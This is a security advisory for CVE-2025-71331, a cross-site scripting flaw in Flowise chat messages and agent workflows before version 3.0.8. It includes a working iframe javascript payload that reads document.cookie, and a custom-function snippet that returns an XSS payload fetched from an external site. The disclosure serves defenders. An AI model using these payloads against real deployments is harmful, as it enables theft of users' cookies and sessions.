CVE-2025-71331
Flowise - Cross-Site Scripting in Chat Messages and Agent Workflows
Flowise before 3.0.8 contains a cross-site scripting (XSS) vulnerability caused by insufficient input filtering in chat messages and custom agent functions. An attacker can inject malicious JavaScript by sending an iframe payload (e.g., <iframe src="javascript:alert(document.cookie)">) in a chat box, or by having a custom agent function return an XSS payload from an external website. The injected script executes in the victim's browser, enabling theft of cookies and session data.

Details
- Send a Message
<iframe src="javascript:alert(document.cookie);">from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" />
Trigger in other ways:
-
Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows)
-
Create a Custom function as an example, use the below example code.
const fetch = require('node-fetch');
const url = 'https://external.website';
const options = {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
};
try {
const response = await fetch(url, options);
const text = await response.text();
return text;
} catch (error) {
console.error(error);
return '';
}
-
The external website (https://external.website) return a XSS payload as content. <img width="1228" alt="image" src="https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53" />
